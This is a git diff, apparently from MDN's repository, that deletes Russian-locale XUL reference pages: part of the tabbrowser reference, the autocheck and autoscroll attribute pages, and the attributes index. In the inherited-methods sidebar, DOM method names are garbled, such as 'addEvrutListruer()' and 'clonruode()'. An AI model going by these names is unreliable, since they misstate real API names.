href="#m-loadTabs">loadTabs</a>, <a href="#m-loadURI">loadURI</a>, <a href="#m-loadURIWithFlags">loadURIWithFlags</a>, <a href="#m-moveTabTo">moveTabTo</a>, <a href="#m-pinTab">pinTab</a>, <a href="#m-reload">reload</a>, <a href="#m-reloadAllTabs">reloadAllTabs</a>, <a href="#m-reloadTab">reloadTab</a>, <a href="#m-reloadWithFlags">reloadWithFlags</a>, <a href="#m-removeAllTabsBut">removeAllTabsBut</a>, <a href="#m-removeCurrentTab">removeCurrentTab</a>, <a href="#m-removeProgressListener">removeProgressListener</a>, <a href="#m-removeTab">removeTab</a>, <a href="#m-removeTabsProgressListener">removeTabsProgressListener</a>,<a href="#m-replaceGroup">replaceGroup</a>, <a href="#m-selectTabAtIndex">selectTabAtIndex</a>, <a href="#m-setIcon">setIcon</a>, <a href="#m-showOnlyTheseTabs">showOnlyTheseTabs</a>, <a href="#m-stop">stop</a>, <a href="#m-unpinTab">unpinTab</a></dd>
-</dl>
-<h3 id="Attributes" name="Attributes">Attributes</h3>
-<p> </p><div id="a-autocompleteenabled">
-
-</div> <div id="a-autocompletepopup">
-
-</div> <div id="a-autoscroll">
-
-
-<dl>
- <dt><code id="a-autoscroll"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/%D0%90%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B/autoscroll">autoscroll</a></code></dt>
- <dd>Тип: <em>boolean</em></dd>
- <dd>Установите значение атрибута на <code>false</code>, чтобы отключить автопрокрутку для браузера. Если значение этого атрибута <code>true</code> или отсутствует, автопрокрутка будет включена или в зависимости от пользовательских настроек <code>general.autoScroll</code>.</dd>
-</dl>
-</div> <div id="a-contentcontextmenu">
-
-</div> <div id="a-contenttooltip">
-
-</div> <div id="a-handleCtrlPageUpDown">
-
-</div> <div id="a-onbookmarkgroup">
-
-</div> <div id="a-onnewtab">
-
-</div> <div id="a-tabmodalPromptShowing">
-
-</div><p></p>
-<h3 id="Properties" name="Properties">Properties</h3>
-<p> </p><div id="p-browsers">
-
-<dl>
- <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/browsers">browsers</a></span></code></dt>
- <dd>Type: <em>nodelist of <code><a href="/en-US/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> elements</em></dd>
- <dd>Holds a list of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> elements inside the <code><a href="/en-US/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>.</dd>
-</dl></div> <div id="p-canGoBack">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/canGoBack">canGoBack</a></span></code></dt>
- <dd>
- Type: <em>boolean</em></dd>
- <dd>
- This read-only property is <code>true</code> if there is a page to go back to in the session history and the Back button should be enabled.</dd>
-</dl></div> <div id="p-canGoForward">
-
-<dl>
- <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/canGoForward">canGoForward</a></span></code></dt>
- <dd>Type: <em>boolean</em></dd>
- <dd>This read-only property is <code>true</code> if there is a page to go forward to in the session history and the Forward button should be enabled.</dd>
-</dl></div> <div id="p-contentDocument">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/contentDocument">contentDocument</a></span></code></dt>
- <dd>
- Type: <em>document</em></dd>
- <dd>
- This read-only property contains the document object in the element.</dd>
-</dl></div> <div id="p-contentTitle">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/contentTitle">contentTitle</a></span></code></dt>
- <dd>
- Type: <em>string</em></dd>
- <dd>
- This read-only property contains the title of the document object in the browser.</dd>
-</dl></div> <div id="p-contentViewerEdit">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/contentViewerEdit">contentViewerEdit</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentViewerEdit" title="">nsIContentViewerEdit</a></code></em></dd>
- <dd>
- This read-only property contains the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentViewerEdit" title="">nsIContentViewerEdit</a></code> which handles clipboard operations on the document.</dd>
-</dl></div> <div id="p-contentViewerFile">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/contentViewerFile">contentViewerFile</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentViewerFile" title="">nsIContentViewerFile</a></code></em></dd>
- <dd>
- Reference to the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentViewerFile" title="">nsIContentViewerFile</a></code> interface for the document.</dd>
-</dl></div> <div id="p-contentWindow">
-<dl> <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/contentWindow">contentWindow</a></span></code></dt> <dd>Type: <em>TODO</em></dd> <dd>Use the contentWindow.wrappedJSObject to obtain a DOM(html) window object</dd>
-</dl></div> <div id="p-currentURI">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/currentURI">currentURI</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIURI" title="">nsIURI</a></code></em></dd>
- <dd>
- This read-only property contains the currently loaded URL. To change the URL, use the <span id="m-loadURI"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/loadURI">loadURI</a></code></span> method.</dd>
-</dl></div> <div id="p-docShell">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/docShell">docShell</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDocShell" title="">nsIDocShell</a></code></em></dd>
- <dd>
- This read-only property contains the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDocShell" title="">nsIDocShell</a></code> object for the document.</dd>
-</dl></div> <div id="p-documentCharsetInfo">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/documentCharsetInfo">documentCharsetInfo</a></span></code> <span class="inlineIndicator obsolete obsoleteInline" title="(Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9)">Obsolete since Gecko 12.0</span></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDocumentCharsetInfo" title="">nsIDocumentCharsetInfo</a></code></em></dd>
- <dd>
- This read-only property contains the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDocumentCharsetInfo" title="">nsIDocumentCharsetInfo</a></code> object for the document which is used to handle which character set should be used to display the document. The properties of the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDocumentCharsetInfo" title="">nsIDocumentCharsetInfo</a></code> object were merged into the docshell in Gecko 12.0 (Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9).</dd>
-</dl></div> <div id="p-homePage">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/homePage">homePage</a></span></code></dt>
- <dd>
- Type: <em>string home page URL</em></dd>
- <dd>
- This property holds the value of the user's home page setting.</dd>
-</dl></div> <div id="p-markupDocumentViewer">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/markupDocumentViewer">markupDocumentViewer</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMarkupDocumentViewer" title="">nsIMarkupDocumentViewer</a></code></em></dd>
- <dd>
- This read-only property contains the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMarkupDocumentViewer" title="">nsIMarkupDocumentViewer</a></code> which is responsible for drawing the document.</dd>
-</dl></div> <div id="p-securityUI">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/securityUI">securityUI</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISecureBrowserUI" title="">nsISecureBrowserUI</a></code></em></dd>
- <dd>
- The read-only property holds an object which may be used to determine the security level of the loaded document.</dd>
-</dl></div> <div id="p-selectedBrowser">
-
-<dl>
- <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/selectedBrowser">selectedBrowser</a></span></code></dt>
- <dd>Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> element</em></dd>
- <dd>This read-only property returns the currently displayed <code><a href="/en-US/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> element.</dd>
-</dl></div> <div id="p-selectedTab">
-
-<dl>
- <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/selectedTab">selectedTab</a></span></code></dt>
- <dd>Type: <em>tab element</em></dd>
- <dd>A reference to the currently selected tab, which will always be one of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> elements in the <code><a href="/en-US/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code> element. Assign a value to this property to modify the currently selected tab.</dd>
-</dl></div> <div id="p-sessionHistory">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/sessionHistory">sessionHistory</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISHistory" title="">nsISHistory</a></code></em></dd>
- <dd>
- This read-only property contains the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISHistory" title="">nsISHistory</a></code> object which holds the session history.</dd>
-</dl></div> <div id="p-tabContainer">
-
-<dl>
- <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/tabContainer">tabContainer</a></span></code></dt>
- <dd>Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code> element</em></dd>
- <dt> </dt>
- <dd>Returns the <code><a href="/en-US/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code> element that contains the tabs. This is useful for add-ons that need to use events related to tabs in the browser window.</dd>
-</dl></div> <div id="p-tabbrowser.tabs">
-<dl> <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/tabbrowser.tabs">tabs</a></span></code> </dt> <dd>Type: <em>array</em></dd> <dd>A <a href="/En/DOM/NodeList" title="En/DOM/NodeList">NodeList</a> containing the <code><a href="/en-US/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> objects for each tab in the <code><a href="/en-US/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>. This is a shortcut for looking at the tabs in the <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/tabContainer">tabContainer</a></span></code>.</dd>
-</dl></div> <div id="p-visibleTabs">
-<dl> <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/visibleTabs">visibleTabs</a></span></code> </dt> <dd>Type: <em>array</em></dd> <dd>An array containing <code><a href="/en-US/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> objects for each visible tab in the <code><a href="/en-US/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>. This lets you determine which tabs are visible in the current tab set.</dd>
-</dl></div> <div id="p-webBrowserFind">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/webBrowserFind">webBrowserFind</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebBrowserFind" title="">nsIWebBrowserFind</a></code></em></dd>
- <dd>
- This read-only property contains an <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebBrowserFind" title="">nsIWebBrowserFind</a></code> object which can be used to search for text in the document.</dd>
-</dl></div> <div id="p-webNavigation">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/webNavigation">webNavigation</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebNavigation" title="">nsIWebNavigation</a></code></em></dd>
- <dd>
- This read-only property contains the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebNavigation" title="">nsIWebNavigation</a></code> object for the document. Most of its methods are callable directly on the element itself, such as <span id="m-goBack"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/goBack">goBack</a></code></span> and <span id="m-goForward"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/goForward">goForward</a></code></span>. It also contains the load constants used by <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/reloadWithFlags">reloadWithFlags</a></code></span> and <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/loadURIWithFlags">loadURIWithFlags</a></code></span>.</dd>
-</dl></div> <div id="p-webProgress">
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/webProgress">webProgress</a></span></code></dt>
- <dd>
- Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebProgress" title="">nsIWebProgress</a></code></em></dd>
- <dd>
- This read-only property contains an <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebProgress" title="">nsIWebProgress</a></code> object which is used to monitor the progress of a document loading.</dd>
-</dl></div><p></p>
-<h3 id="Methods" name="Methods">Methods</h3>
-<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
-<tbody>
-<tr>
-<td>
-<p><strong>Наследуемые методы</strong><br>
-<small><code><a href="https://developer.mozilla.org/ru/docs/DOM/element.addEvrutListruer">addEvrutListruer()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.apprudChild">apprudChild()</a></code>, <span id="m-blur"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/click">click</a></code></span>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.clonruode">clonruode()</a></code>, <a href="/ru/DOM/Node.compareDocumrutPosition" title="ru/DOM/Node.compareDocumrutPosition">compareDocumrutPosition</a>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.dispatchEvrut">dispatchEvrut()</a></code>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/focus">focus</a></code></span>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getAttributruode">getAttributruode()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getAttributruodruS">getAttributruodruS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getAttributruS">getAttributruS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getBoundingClirutRect">getBoundingClirutRect()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getClirutRects">getClirutRects()</a></code>, <span id="m-getElemrutsByAttribute"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/getElemrutsByAttribute">getElemrutsByAttribute</a></code></span>, <span id="m-getElemrutsByAttributruS"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/getElemrutsByAttributruS">getElemrutsByAttributruS</a></code></span>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getElemrutsByClassName">getElemrutsByClassName()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getElemrutsByTagName">getElemrutsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getElemrutsByTagNamruS">getElemrutsByTagNamruS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getFeature">getFeature()</a></code>, <a href="/ru/DOM/Node.getUserData" title="ru/DOM/Node.getUserData">getUserData</a>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.hasAttributruS">hasAttributruS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.isDefaultNamespace">isDefaultNamespace()</a></code>, <a href="/ru/DOM/Node.isEqualNode" title="ru/DOM/Node.isEqualNode">isEqualNode</a>, <a href="/ru/DOM/Node.isSamruode" title="ru/DOM/Node.isSamruode">isSamruode</a>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.isSupported">isSupported()</a></code>, <a href="/ru/DOM/Node.lookupNamespaceURI" title="ru/DOM/Node.lookupNamespaceURI">lookupNamespaceURI</a>, <a href="/ru/DOM/Node.lookupPrefix" title="ru/DOM/Node.lookupPrefix">lookupPrefix</a>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.querySelector">querySelector()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.querySelectorAll">querySelectorAll()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeAttributruode">removeAttributruode()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeAttributruS">removeAttributruS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeEvrutListruer">removeEvrutListruer()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.setAttributruode">setAttributruode()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.setAttributruodruS">setAttributruodruS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.setAttributruS">setAttributruS()</a></code>, <a href="/ru/DOM/Node.setUserData" title="ru/DOM/Node.setUserData">setUserData</a></small></p>
-
-</td>
-</tr>
-</tbody>
-</table> <p></p>
-<h3 id="Related" name="Related">Related</h3>
-<ul>
- <li><a href="/en/Code_snippets/Tabbed_browser" title="en/Code_snippets/Tabbed_browser">Code snippets:Tabbed browser</a></li>
-</ul>
diff --git a/files/ru/mozilla/tech/xul/атрибуты/autocheck/index.html b/files/ru/mozilla/tech/xul/атрибуты/autocheck/index.html
deleted file mode 100644
index f8b9f1939a..0000000000
--- a/files/ru/mozilla/tech/xul/атрибуты/autocheck/index.html
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: autocheck
-slug: Mozilla/Tech/XUL/Атрибуты/autoCheck
-translation_of: Archive/Mozilla/XUL/Attribute/autoCheck
----
-<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/ru/docs/XUL/Справочник">Справочник по XUL</a></span></div>
-
-<dl>
- <dt><code id="a-autocheck"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/autocheck">autocheck</a></code></dt>
- <dd>Тип: <em>boolean</em></dd>
- <dd>Если значение этого атрибута <code>true</code> или отсутствует, проверяемое состояние кнопки будет переключаться каждый раз при нажатии кнопки. Если значение этого атрибута <code>false</code>, проверяемое состояние должно быть отрегулировано вручную. Когда autocheck истинно, тип кнопки должен быть "checkbox" или "radio".</dd>
-</dl>
diff --git a/files/ru/mozilla/tech/xul/атрибуты/autoscroll/index.html b/files/ru/mozilla/tech/xul/атрибуты/autoscroll/index.html
deleted file mode 100644
index f60c1a1e56..0000000000
--- a/files/ru/mozilla/tech/xul/атрибуты/autoscroll/index.html
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: autoscroll
-slug: Mozilla/Tech/XUL/Атрибуты/autoscroll
-translation_of: Archive/Mozilla/XUL/Attribute/autoscroll
----
-<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/ru/docs/XUL/Справочник">Справочник по XUL</a></span></div>
-
-<dl>
- <dt><code id="a-autoscroll"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/autoscroll">autoscroll</a></code></dt>
- <dd>Тип: <em>boolean</em></dd>
- <dd>Установите значение атрибута на <code>false</code>, чтобы отключить автопрокрутку для браузера. Если значение этого атрибута <code>true</code> или отсутствует, автопрокрутка будет включена или в зависимости от пользовательских настроек <code>general.autoScroll</code>.</dd>
-</dl>
diff --git a/files/ru/mozilla/tech/xul/атрибуты/index.html b/files/ru/mozilla/tech/xul/атрибуты/index.html
deleted file mode 100644
index 02f7461eb9..0000000000
--- a/files/ru/mozilla/tech/xul/атрибуты/index.html
+++ /dev/null
@@ -1,270 +0,0 @@
----
-title: Атрибуты
-slug: Mozilla/Tech/XUL/Атрибуты
-tags:
- - XUL
-translation_of: Archive/Mozilla/XUL/Attribute
----
-<p>
-</p>
-<h3 id=".D0.90.D1.82.D1.80.D0.B8.D0.B1.D1.83.D1.82.D1.8B_XUL" name=".D0.90.D1.82.D1.80.D0.B8.D0.B1.D1.83.D1.82.D1.8B_XUL"> Атрибуты XUL </h3>
-<ul><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/acceltext">acceltext</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/accessible">accessible</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/accesskey">accesskey</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/afterselected">afterselected</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/align">align</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/allowevents">allowevents</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/allownegativeassertions">allownegativeassertions</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/alternatingbackground">alternatingbackground</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/alwaysopenpopup">alwaysopenpopup</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/attribute">attribute</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autocheck">autocheck</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autoCheck">autoCheck</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autocompleteenabled">autocompleteenabled</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autocompletepopup">autocompletepopup</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autocompletesearch">autocompletesearch</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autocompletesearchparam">autocompletesearchparam</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autoFill">autoFill</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autoFillAfterMatch">autoFillAfterMatch</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/autoscroll">autoscroll</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/beforeselected">beforeselected</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonaccesskeyaccept">buttonaccesskeyaccept</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonaccesskeycancel">buttonaccesskeycancel</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonaccesskeydisclosure">buttonaccesskeydisclosure</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonaccesskeyextra1">buttonaccesskeyextra1</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonaccesskeyextra2">buttonaccesskeyextra2</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonaccesskeyhelp">buttonaccesskeyhelp</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonalign">buttonalign</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttondir">buttondir</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonlabelaccept">buttonlabelaccept</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonlabelcancel">buttonlabelcancel</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonlabeldisclosure">buttonlabeldisclosure</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonlabelextra1">buttonlabelextra1</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonlabelextra2">buttonlabelextra2</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonlabelhelp">buttonlabelhelp</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonorient">buttonorient</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttonpack">buttonpack</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/buttons">buttons</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/checked">checked</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/checkState">checkState</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/class">class</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/closebutton">closebutton</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/coalesceduplicatearcs">coalesceduplicatearcs</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/collapse">collapse</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/collapsed">collapsed</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/color">color</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/cols">cols</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/command">command</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/commandupdater">commandupdater</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/completedefaultindex">completedefaultindex</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/container">container</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/containment">containment</a>
